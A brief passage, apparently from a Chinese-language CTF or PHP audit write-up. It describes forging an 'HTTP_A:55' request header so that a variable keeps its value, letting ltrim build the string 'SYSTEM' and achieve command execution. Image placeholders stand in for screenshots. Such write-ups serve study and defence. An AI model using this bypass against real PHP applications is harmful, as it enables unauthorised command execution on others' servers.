$p = new ParseError($_SERVER[HTTP_A]);

就伪造一个header头 HTTP_A:55

image-20250804183338675

这样他前面的条件一直成立,就不会重新赋值给$n,我们的$n就是F 就可以经过ltrim 清洗掉F ,构造出SYSTEM

测试

image-20250804183353029

成功执行